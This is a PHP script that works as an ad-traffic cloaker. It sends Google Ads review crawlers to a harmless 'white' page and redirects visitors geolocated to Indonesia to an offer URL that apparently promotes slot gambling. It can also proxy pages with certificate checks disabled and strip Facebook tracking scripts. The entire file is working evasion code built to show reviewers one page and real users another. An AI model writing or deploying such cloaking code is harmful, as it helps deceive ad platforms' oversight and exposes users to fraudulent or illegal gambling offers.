<?php

$config['default_white_page'] = 'https://popoko.id/';
$config['default_offer_page'] = 'https://gacor.ly/murahbanget ';
$config['render_white_method'] = '302';
$config['render_offer_method'] = '302';
$config['allowed_country_code'] = ['ID'];
$config['blocked_country_code'] = [];
$config['no_ref'] = true;
$config['allowed_vpn'] = true;
$config['blocked_apple'] = false;
$config['blocked_android'] = false;
$config['blocked_windows'] = false;
$config['blocked_desktop'] = false;

function get_country_code_by_ip($ip) {
    $ch = curl_init("http://ip-api.com/json/{$ip}");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $response = curl_exec($ch);
    curl_close($ch);
    $data = json_decode($response, true);
    return $data['countryCode'] ?? 'UNKNOWN';
}

function cloacked($url, $body = '')
{
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    if (!empty($body)) {
        curl_setopt($ch, CURLOPT_POST, 1);
        curl_setopt($ch, CURLOPT_POSTFIELDS, "$body");
    }
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type:application/json'));
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
    curl_setopt($ch, CURLOPT_TIMEOUT, 45);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    $r = @curl_exec($ch);
    $responseCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    if ($responseCode === 515) {
        echo($r);
        die();
    }
    $r = preg_replace('/<base[^>]+>/i', '', $r);
    return $r;
}

function renderOffer($offer, $utm = false, $method = 'iframe')
{
    if (substr($offer, 0, 8) == 'https://' || substr($offer, 0, 7) == 'http://') {
        if (!empty($_GET) && $utm) {
            if (strstr($offer, '?')) $offer .= '&' . http_build_query($_GET);
            else $offer .= '?' . http_build_query($_GET);
        }
        if ($method == '302') {
            header("Location: " . $offer);
        } else if ($method == 'iframe') {
            echo "<html><head><title></title></head><body style='margin: 0; padding: 0;'><meta name=\"viewport\" content=\"width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0\"/><iframe src='" . $offer . "' style='visibility:visible !important; position:absolute; top:0px; left:0px; bottom:0px; right:0px; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden; z-index:999999;' allowfullscreen='allowfullscreen' webkitallowfullscreen='webkitallowfullscreen' mozallowfullscreen='mozallowfullscreen'></iframe></body></html>";
        } else if ($method == 'meta') {
            echo '<html><head><meta http-equiv="Refresh" content="0; URL=' . $offer . '" ></head></html>';
        } else {
            if (!function_exists('curl_init')) $page = file_get_contents($offer, 'r', stream_context_create(array('ssl' => array('verify_peer' => false, 'verify_peer_name' => false,))));
            else $page = cloacked($offer);
            $page = preg_replace('#(<head[^>]*>)#imU', '$1<base href="' . $offer . '">', $page, 1);
            $page = preg_replace('#https://connect\.facebook\.net/[a-zA-Z_-]+/fbevents\.js#imU', '', $page);

            if (empty($page)) {
                header("HTTP/1.1 503 Service Unavailable", true, 503);
            }
            echo $page;
        }
    } else
        require_once($offer);
    die();
}

function renderWhite($white, $method = 'curl')
{
    if (substr($white, 0, 8) == 'https://' || substr($white, 0, 7) == 'http://') {
        if ($method == '302') {
            header("Location: " . $white);
        } else {
            if (!function_exists('curl_init')) $page = file_get_contents($white, 'r', stream_context_create(array('ssl' => array('verify_peer' => false, 'verify_peer_name' => false,))));
            else $page = cloacked($white);
            $page = preg_replace('#(<head[^>]*>)#imU', '$1<base href="' . $white . '">', $page, 1);
            $page = preg_replace('#https://connect\.facebook\.net/[a-zA-Z_-]+/fbevents\.js#imU', '', $page);

            if (empty($page)) {
                header("HTTP/1.1 503 Service Unavailable", true, 503);
            }
            echo $page;
        }
    } else require_once($white);
    die();
}

$user_agent = $_SERVER['HTTP_USER_AGENT'] ?? '';
if (strpos($user_agent, 'Google-Adwords-Instant') !== false || strpos($user_agent, 'google.com/adsbot.html') !== false) {
    renderWhite($config['default_white_page'], $config['render_white_method']);
}


if ($config['blocked_country_code']) {
    $client_ip = $_SERVER['REMOTE_ADDR'];
    $country_code = get_country_code_by_ip($client_ip);
    
    if (in_array($country_code, $config['blocked_country_code']) || $country_code == "UNKNOWN") {
        renderWhite($config['default_white_page'], $config['render_white_method']);
    }
}


if ($config['allowed_country_code']) {
    $client_ip = $_SERVER['REMOTE_ADDR'];
    $country_code = get_country_code_by_ip($client_ip);
    
    if (!in_array($country_code, $config['allowed_country_code'])) {
        renderWhite($config['default_white_page'], $config['render_white_method']);
    }
}

renderOffer($config['default_offer_page'] , false, $config['render_offer_method'] );